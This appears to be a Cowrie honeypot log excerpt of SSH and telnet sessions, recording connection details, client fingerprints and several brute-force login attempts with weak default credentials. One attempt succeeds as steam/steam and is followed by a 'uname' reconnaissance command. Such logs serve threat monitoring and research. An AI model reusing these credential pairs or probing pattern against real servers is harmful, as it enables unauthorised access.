{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:01.867007Z","src_ip":"176.65.139.103","session":"1d4850a1235e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:03.053873Z","src_ip":"176.65.139.103","session":"1d4850a1235e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":38370,"dst_ip":"10.17.0.5","dst_port":22,"session":"76bb868fa2ea","protocol":"ssh","message":"New connection: 176.65.139.103:38370 (10.17.0.5:22) [session: 76bb868fa2ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:08.560006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:08.663273Z","src_ip":"176.65.139.103","session":"76bb868fa2ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:08.667018Z","src_ip":"176.65.139.103","session":"76bb868fa2ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"123456","message":"login attempt [root1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:09.432326Z","src_ip":"176.65.139.103","session":"76bb868fa2ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":54492,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcb5eba43af0","protocol":"ssh","message":"New connection: 103.176.20.115:54492 (10.17.0.5:22) [session: fcb5eba43af0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:09.558076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:09.563308Z","src_ip":"103.176.20.115","session":"fcb5eba43af0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:09.811778Z","src_ip":"103.176.20.115","session":"fcb5eba43af0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":41056,"dst_ip":"10.17.0.5","dst_port":22,"session":"65ad4fb286a0","protocol":"ssh","message":"New connection: 202.184.144.220:41056 (10.17.0.5:22) [session: 65ad4fb286a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:10.240443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:10.247230Z","src_ip":"202.184.144.220","session":"65ad4fb286a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:10.481256Z","src_ip":"202.184.144.220","session":"65ad4fb286a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:10.545208Z","src_ip":"176.65.139.103","session":"76bb868fa2ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test123456789","message":"login attempt [root/Test123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:10.834920Z","src_ip":"103.176.20.115","session":"fcb5eba43af0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"12345678","message":"login attempt [centos/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:11.446349Z","src_ip":"202.184.144.220","session":"65ad4fb286a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:12.085930Z","src_ip":"103.176.20.115","session":"fcb5eba43af0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:12.682345Z","src_ip":"202.184.144.220","session":"65ad4fb286a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":35028,"dst_ip":"10.17.0.5","dst_port":22,"session":"74460f1078cb","protocol":"ssh","message":"New connection: 176.65.139.103:35028 (10.17.0.5:22) [session: 74460f1078cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:16.252625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:16.301190Z","src_ip":"176.65.139.103","session":"74460f1078cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:16.377672Z","src_ip":"176.65.139.103","session":"74460f1078cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amp","password":"amp","message":"login attempt [amp/amp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:16.746919Z","src_ip":"176.65.139.103","session":"74460f1078cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:17.830431Z","src_ip":"176.65.139.103","session":"74460f1078cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.720993280410767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:21.317280Z","src_ip":"161.97.124.15","session":"a940bf77ab0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55110,"dst_ip":"159.203.135.109","dst_port":22,"session":"52546c454f93","protocol":"ssh","message":"New connection: 159.203.92.129:55110 (159.203.135.109:22) [session: 52546c454f93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:21.514838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:21.519839Z","src_ip":"159.203.92.129","session":"52546c454f93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:21.524861Z","src_ip":"159.203.92.129","session":"52546c454f93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"1234","message":"login attempt [ansible/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:21.536332Z","src_ip":"159.203.92.129","session":"52546c454f93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":35030,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1fab36467ea","protocol":"ssh","message":"New connection: 176.65.139.103:35030 (10.17.0.5:22) [session: a1fab36467ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:22.493122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:22.497860Z","src_ip":"176.65.139.103","session":"a1fab36467ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:22.542234Z","src_ip":"159.203.92.129","session":"52546c454f93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:22.580734Z","src_ip":"176.65.139.103","session":"a1fab36467ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:22.832763Z","src_ip":"176.65.139.103","session":"a1fab36467ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:23.993185Z","src_ip":"176.65.139.103","session":"a1fab36467ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":34598,"dst_ip":"10.17.0.5","dst_port":22,"session":"bea1d5e96a5f","protocol":"ssh","message":"New connection: 176.65.139.103:34598 (10.17.0.5:22) [session: bea1d5e96a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:28.649055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:28.653764Z","src_ip":"176.65.139.103","session":"bea1d5e96a5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:28.737809Z","src_ip":"176.65.139.103","session":"bea1d5e96a5f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:29.273639Z","src_ip":"176.65.139.103","session":"bea1d5e96a5f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:29.544424Z","src_ip":"176.65.139.103","session":"bea1d5e96a5f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:29.547313Z","src_ip":"176.65.139.103","session":"bea1d5e96a5f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:29.647815Z","src_ip":"176.65.139.103","session":"bea1d5e96a5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:29.652559Z","src_ip":"176.65.139.103","session":"bea1d5e96a5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":36746,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3d5768fb835","protocol":"ssh","message":"New connection: 176.65.139.103:36746 (10.17.0.5:22) [session: c3d5768fb835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:35.238404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:35.243137Z","src_ip":"176.65.139.103","session":"c3d5768fb835","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","h